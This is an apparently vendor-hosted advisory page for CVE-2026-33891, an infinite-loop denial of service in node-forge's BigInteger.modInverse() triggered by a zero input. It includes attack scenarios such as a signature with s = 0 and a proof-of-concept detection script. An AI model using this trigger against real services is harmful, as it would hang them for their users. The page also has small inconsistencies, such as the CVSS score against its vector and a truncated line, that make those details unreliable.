Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-33891 — forge

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-835 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input

Summary

A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.

Affected Package

Package name: node-forge (npm: node-forge)

Repository: https://github.com/digitalbazaar/forge

Affected versions: All versions (including latest)

Affected file: lib/jsbn.js, function bnModInverse()

Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library

Vulnerability Details

Type: Denial of Service (DoS)

CWE: CWE-835 (Loop with Unreachable Exit Condition)

Attack vector: Network (if the application processes untrusted input that reaches modInverse)

Privileges required: None

User interaction: None

Impact: Availability (process hangs indefinitely)

Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)

Root Cause Analysis

The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.

Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop.

The relevant code path in lib/jsbn.js:

```js

javascriptfunction bnModInverse(m) {

// ... setup ...

// No check for this == 0

// Enters Extended Euclidean Algorithm loop that never terminates when this == 0

}

```

Attack Scenario

Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:

DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.

Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters.

Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().

A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.

Proof of Concept

Environment Setup

```bash

mkdir forge-poc && cd forge-poc

npm init -y

npm install node-forge

```

Reproduction (poc.js)

A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.

```bash

mkdir forge-poc && cd forge-poc

npm init -y

npm install node-forge

# Save the script below as poc.js, then run:

node poc.js

```

```javascript

'use strict';

const { spawnSync } = require('child_process');

const childCode = `

const forge = require('node-forge');

// jsbn may not be auto-loaded; try explicit require if needed

if (!forge.jsbn) {

try { require('node-forge/lib/jsbn'); } catch(e) {}

}

if (!forge.jsbn || !forge.jsbn.BigInteger) {

console.error('ERROR: forge.jsbn.BigInteger not available');

process.exit(2);

}

const BigInteger = forge.jsbn.BigInteger;

const zero = new BigInteger('0', 10);

const mod = new BigInteger('3', 10);

// This call should throw or return 0, but instead loops forever

const inv = zero.modInverse(mod);

console.log('returned: ' + inv.toString());

`;

console.log('[*] Testing: BigInteger(0).modInverse(3)');

console.log('[*] Expected: throw an error or return quickly');

console.log('[*] Spawning child process with 5s timeout...');

console.log();

const result = spawnSync(process.execPath, ['-e', childCode], {

encoding: 'utf8',

timeout: 5000,

});

if (result.error && result.error.code === 'ETIMEDOUT') {

console.log('[VULNERABLE] Child process timed out after 5s');

console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');

process.exit(0);

}

if (result.status === 2) {

console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());

console.log(' -> Check your node-forge installation');

process.exit(1);

}

if (result.status === 0) {

console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());

process.exit(1);

}

console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');

if (result.stderr) console.log(' stderr:', result.stderr.trim());

process.exit(1);

```

Expected Output

```

[*] Testing: BigInteger(0).modInverse(3)

[*] Expected: throw an error or return quickly

[*] Spawning child process with 5s timeout...

[VULNERABLE] Child process timed out after 5s

-> modInverse(0, 3) entered an infinite loop (DoS confirmed)

Verified On

```

node-forge v1.3.1 (l

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-33891 is classified as CWE-835: Infinite Loop. A loop condition can never become false for some inputs, hanging the process.

Affected software

CVE-2026-33891 is recorded against 2 packages.

  • forge (fixed in 1.3.3)
  • node-forge

Timeline and source

Published on 27 March 2026 and last revised on 15 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
bugzilla.redhat.com
security.access.redhat.com

Other advisories for this package

forge has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-835: Infinite Loop) in other software:

CVE-2026-33891 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-835
Public Exploit ⚠️ Yes
Source NVD
Published 2026-03-27
Updated 2026-08-20
Modified 2026-07-15

Affected Packages

Software From version Fixed in
forge — 1.3.3
node-forge — —

Similar Threats

Exploit Protection

Are you running forge?

CVE-2026-33891 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-33891 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓